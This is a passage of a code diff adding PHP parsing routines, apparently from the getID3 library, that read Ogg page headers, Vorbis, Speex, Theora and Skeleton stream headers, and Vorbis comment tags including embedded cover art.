+			$info['audio']['lossless']     = true;
+
+		} elseif (substr($filedata, 1, 6) == 'vorbis') {
+
+			$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);
+
+		} elseif (substr($filedata, 0, 8) == 'Speex   ') {
+
+			// http://www.speex.org/manual/node10.html
+
+			$info['audio']['dataformat']   = 'speex';
+			$info['mime_type']             = 'audio/speex';
+			$info['audio']['bitrate_mode'] = 'abr';
+			$info['audio']['lossless']     = false;
+
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string']           =                              substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex   '
+			$filedataoffset += 8;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']          =                              substr($filedata, $filedataoffset, 20);
+			$filedataoffset += 20;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']                    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers']          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+
+			$info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']);
+			$info['speex']['sample_rate']   = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'];
+			$info['speex']['channels']      = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'];
+			$info['speex']['vbr']           = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'];
+			$info['speex']['band_type']     = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']);
+
+			$info['audio']['sample_rate']   = $info['speex']['sample_rate'];
+			$info['audio']['channels']      = $info['speex']['channels'];
+			if ($info['speex']['vbr']) {
+				$info['audio']['bitrate_mode'] = 'vbr';
+			}
+
+		} elseif (substr($filedata, 0, 7) == "\x80".'theora') {
+
+			// http://www.theora.org/doc/Theora.pdf (section 6.2)
+
+			$info['ogg']['pageheader']['theora']['theora_magic']             =                           substr($filedata, $filedataoffset,  7); // hard-coded to "\x80.'theora'
+			$filedataoffset += 7;
+			$info['ogg']['pageheader']['theora']['version_major']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['version_minor']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['version_revision']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['frame_width_macroblocks']  = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['pageheader']['theora']['resolution_x']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['resolution_y']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['picture_offset_x']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['picture_offset_y']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['frame_rate_numerator']     = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader']['theora']['frame_rate_denominator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader']['theora']['pixel_aspect_numerator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['color_space_id']           = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['nominal_bitrate']          = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['flags']                    = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+
+			$info['ogg']['pageheader']['theora']['quality']         = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10;
+			$info['ogg']['pageheader']['theora']['kfg_shift']       = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >>  5;
+			$info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >>  3;
+			$info['ogg']['pageheader']['theora']['reserved']        = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >>  0; // should be 0
+			$info['ogg']['pageheader']['theora']['color_space']     = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']);
+			$info['ogg']['pageheader']['theora']['pixel_format']    = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']);
+
+			$info['video']['dataformat']   = 'theora';
+			$info['mime_type']             = 'video/ogg';
+			//$info['audio']['bitrate_mode'] = 'abr';
+			//$info['audio']['lossless']     = false;
+			$info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x'];
+			$info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y'];
+			if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) {
+				$info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator'];
+			}
+			if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) {
+				$info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'];
+			}
+$info['warning'][] = 'Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable';
+
+
+		} elseif (substr($filedata, 0, 8) == "fishead\x00") {
+
+			// Ogg Skeleton version 3.0 Format Specification
+			// http://xiph.org/ogg/doc/skeleton.html
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['version_major']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['skeleton']['fishead']['raw']['version_minor']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['utc']                          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20));
+			$filedataoffset += 20;
+
+			$info['ogg']['skeleton']['fishead']['version']          = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor'];
+			$info['ogg']['skeleton']['fishead']['presentationtime'] = $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'];
+			$info['ogg']['skeleton']['fishead']['basetime']         = $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']         / $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator'];
+			$info['ogg']['skeleton']['fishead']['utc']              = $info['ogg']['skeleton']['fishead']['raw']['utc'];
+
+
+			$counter = 0;
+			do {
+				$oggpageinfo = $this->ParseOggPageHeader();
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo;
+				$filedata = $this->fread($oggpageinfo['page_length']);
+				$this->fseek($oggpageinfo['page_end_offset']);
+
+				if (substr($filedata, 0, 8) == "fisbone\x00") {
+
+					$filedataoffset = 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['message_header_offset']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['serial_number']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['number_header_packets']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+					$filedataoffset += 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+					$filedataoffset += 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['basegranule']             = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+					$filedataoffset += 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['preroll']                 = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['granuleshift']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
+					$filedataoffset += 1;
+					$info['ogg']['skeleton']['fisbone']['raw']['padding']                 =                              substr($filedata, $filedataoffset,  3);
+					$filedataoffset += 3;
+
+				} elseif (substr($filedata, 1, 6) == 'theora') {
+
+					$info['video']['dataformat'] = 'theora1';
+					$info['error'][] = 'Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']';
+					//break;
+
+				} elseif (substr($filedata, 1, 6) == 'vorbis') {
+
+					$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);
+
+				} else {
+					$info['error'][] = 'unexpected';
+					//break;
+				}
+			//} while ($oggpageinfo['page_seqno'] == 0);
+			} while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00"));
+
+			$this->fseek($oggpageinfo['page_start_offset']);
+
+			$info['error'][] = 'Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']';
+			//return false;
+
+		} else {
+
+			$info['error'][] = 'Expecting either "Speex   " or "vorbis" identifier strings, found "'.substr($filedata, 0, 8).'"';
+			unset($info['ogg']);
+			unset($info['mime_type']);
+			return false;
+
+		}
+
+		// Page 2 - Comment Header
+		$oggpageinfo = $this->ParseOggPageHeader();
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+		switch ($info['audio']['dataformat']) {
+			case 'vorbis':
+				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1));
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] =                              substr($filedata, 1, 6); // hard-coded to 'vorbis'
+
+				$this->ParseVorbisComments();
+				break;
+
+			case 'flac':
+				$flac = new getid3_flac($this->getid3);
+				if (!$flac->parseMETAdata()) {
+					$info['error'][] = 'Failed to parse FLAC headers';
+					return false;
+				}
+				unset($flac);
+				break;
+
+			case 'speex':
+				$this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR);
+				$this->ParseVorbisComments();
+				break;
+		}
+
+
+		// Last Page - Number of Samples
+		if (!getid3_lib::intValueSupported($info['avdataend'])) {
+
+			$info['warning'][] = 'Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)';
+
+		} else {
+
+			$this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0));
+			$LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size()));
+			if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) {
+				$this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO')));
+				$info['avdataend'] = $this->ftell();
+				$info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader();
+				$info['ogg']['samples']   = $info['ogg']['pageheader']['eos']['pcm_abs_position'];
+				if ($info['ogg']['samples'] == 0) {
+					$info['error'][] = 'Corrupt Ogg file: eos.number of samples == zero';
+					return false;
+				}
+				if (!empty($info['audio']['sample_rate'])) {
+					$info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['ogg']['samples'] / $info['audio']['sample_rate']);
+				}
+			}
+
+		}
+
+		if (!empty($info['ogg']['bitrate_average'])) {
+			$info['audio']['bitrate'] = $info['ogg']['bitrate_average'];
+		} elseif (!empty($info['ogg']['bitrate_nominal'])) {
+			$info['audio']['bitrate'] = $info['ogg']['bitrate_nominal'];
+		} elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) {
+			$info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2;
+		}
+		if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) {
+			if ($info['audio']['bitrate'] == 0) {
+				$info['error'][] = 'Corrupt Ogg file: bitrate_audio == zero';
+				return false;
+			}
+			$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']);
+		}
+
+		if (isset($info['ogg']['vendor'])) {
+			$info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']);
+
+			// Vorbis only
+			if ($info['audio']['dataformat'] == 'vorbis') {
+
+				// Vorbis 1.0 starts with Xiph.Org
+				if  (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) {
+
+					if ($info['audio']['bitrate_mode'] == 'abr') {
+
+						// Set -b 128 on abr files
+						$info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000);
+
+					} elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) {
+						// Set -q N on vbr files
+						$info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']);
+
+					}
+				}
+
+				if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) {
+					$info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps';
+				}
+			}
+		}
+
+		return true;
+	}
+
+	public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
+		$info = &$this->getid3->info;
+		$info['audio']['dataformat'] = 'vorbis';
+		$info['audio']['lossless']   = false;
+
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis'
+		$filedataoffset += 6;
+		$info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$info['audio']['channels']       = $info['ogg']['numberofchannels'];
+		$info['ogg']['samplerate']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		if ($info['ogg']['samplerate'] == 0) {
+			$info['error'][] = 'Corrupt Ogg file: sample rate == zero';
+			return false;
+		}
+		$info['audio']['sample_rate']    = $info['ogg']['samplerate'];
+		$info['ogg']['samples']          = 0; // filled in later
+		$info['ogg']['bitrate_average']  = 0; // filled in later
+		$info['ogg']['bitrate_max']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['bitrate_nominal']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['bitrate_min']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['blocksize_small']  = pow(2,  getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F);
+		$info['ogg']['blocksize_large']  = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4);
+		$info['ogg']['stop_bit']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet
+
+		$info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr
+		if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) {
+			unset($info['ogg']['bitrate_max']);
+			$info['audio']['bitrate_mode'] = 'abr';
+		}
+		if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) {
+			unset($info['ogg']['bitrate_nominal']);
+		}
+		if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) {
+			unset($info['ogg']['bitrate_min']);
+			$info['audio']['bitrate_mode'] = 'abr';
+		}
+		return true;
+	}
+
+	public function ParseOggPageHeader() {
+		// http://xiph.org/ogg/vorbis/doc/framing.html
+		$oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file
+
+		$filedata = $this->fread($this->getid3->fread_buffer_size());
+		$filedataoffset = 0;
+		while ((substr($filedata, $filedataoffset++, 4) != 'OggS')) {
+			if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) {
+				// should be found before here
+				return false;
+			}
+			if ((($filedataoffset + 28) > strlen($filedata)) || (strlen($filedata) < 28)) {
+				if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === false)) {
+					// get some more data, unless eof, in which case fail
+					return false;
+				}
+			}
+		}
+		$filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS'
+
+		$oggheader['stream_structver']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$oggheader['flags_raw']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$oggheader['flags']['fresh']    = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet
+		$oggheader['flags']['bos']      = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos)
+		$oggheader['flags']['eos']      = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos)
+
+		$oggheader['pcm_abs_position']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8));
+		$filedataoffset += 8;
+		$oggheader['stream_serialno']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$oggheader['page_seqno']        = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$oggheader['page_checksum']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$oggheader['page_segments']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$oggheader['page_length'] = 0;
+		for ($i = 0; $i < $oggheader['page_segments']; $i++) {
+			$oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+			$filedataoffset += 1;
+			$oggheader['page_length'] += $oggheader['segment_table'][$i];
+		}
+		$oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset;
+		$oggheader['page_end_offset']   = $oggheader['header_end_offset'] + $oggheader['page_length'];
+		$this->fseek($oggheader['header_end_offset']);
+
+		return $oggheader;
+	}
+
+    // http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005
+	public function ParseVorbisComments() {
+		$info = &$this->getid3->info;
+
+		$OriginalOffset = $this->ftell();
+		$commentdataoffset = 0;
+		$VorbisCommentPage = 1;
+
+		switch ($info['audio']['dataformat']) {
+			case 'vorbis':
+			case 'speex':
+				$CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset'];  // Second Ogg page, after header block
+				$this->fseek($CommentStartOffset);
+				$commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments'];
+				$commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset);
+
+				if ($info['audio']['dataformat'] == 'vorbis') {
+					$commentdataoffset += (strlen('vorbis') + 1);
+				}
+				break;
+
+			case 'flac':
+				$CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4;
+				$this->fseek($CommentStartOffset);
+				$commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']);
+				break;
+
+			default:
+				return false;
+		}
+
+		$VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
+		$commentdataoffset += 4;
+
+		$info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize);
+		$commentdataoffset += $VendorSize;
+
+		$CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
+		$commentdataoffset += 4;
+		$info['avdataoffset'] = $CommentStartOffset + $commentdataoffset;
+
+		$basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT');
+		$ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw'];
+		for ($i = 0; $i < $CommentsCount; $i++) {
+
+			$ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset;
+
+			if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) {
+				if ($oggpageinfo = $this->ParseOggPageHeader()) {
+					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+					$VorbisCommentPage++;
+
+					// First, save what we haven't read yet
+					$AsYetUnusedData = substr($commentdata, $commentdataoffset);
+
+					// Then take that data off the end
+					$commentdata     = substr($commentdata, 0, $commentdataoffset);
+
+					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
+					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+
+					// Finally, stick the unused data back on the end
+					$commentdata .= $AsYetUnusedData;
+
+					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
+					$commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1));
+				}
+
+			}
+			$ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
+
+			// replace avdataoffset with position just after the last vorbiscomment
+			$info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4;
+
+			$commentdataoffset += 4;
+			while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) {
+				if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) {
+					$info['warning'][] = 'Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments';
+					break 2;
+				}
+
+				$VorbisCommentPage++;
+
+				$oggpageinfo = $this->ParseOggPageHeader();
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+				// First, save what we haven't read yet
+				$AsYetUnusedData = substr($commentdata, $commentdataoffset);
+
+				// Then take that data off the end
+				$commentdata     = substr($commentdata, 0, $commentdataoffset);
+
+				// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
+				$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+				$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
+
+				// Finally, stick the unused data back on the end
+				$commentdata .= $AsYetUnusedData;
+
+				//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
+				if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) {
+					$info['warning'][] = 'undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell();
+					break;
+				}
+				$readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1);
+				if ($readlength <= 0) {
+					$info['warning'][] = 'invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell();
+					break;
+				}
+				$commentdata .= $this->fread($readlength);
+
+				//$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset'];
+			}
+			$ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset;
+			$commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']);
+			$commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size'];
+
+			if (!$commentstring) {
+
+				// no comment?
+				$info['warning'][] = 'Blank Ogg comment ['.$i.']';
+
+			} elseif (strstr($commentstring, '=')) {
+
+				$commentexploded = explode('=', $commentstring, 2);
+				$ThisFileInfo_ogg_comments_raw[$i]['key']   = strtoupper($commentexploded[0]);
+				$ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : '');
+
+				if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') {
+
+					// http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE
+					// The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard.
+					// http://flac.sourceforge.net/format.html#metadata_block_picture
+					$flac = new getid3_flac($this->getid3);
+					$flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']));
+					$flac->parsePICTURE();
+					$info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0];
+					unset($flac);
+
+				} elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') {
+
+					$data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']);
+					$this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure');
+					/** @todo use 'coverartmime' where available */
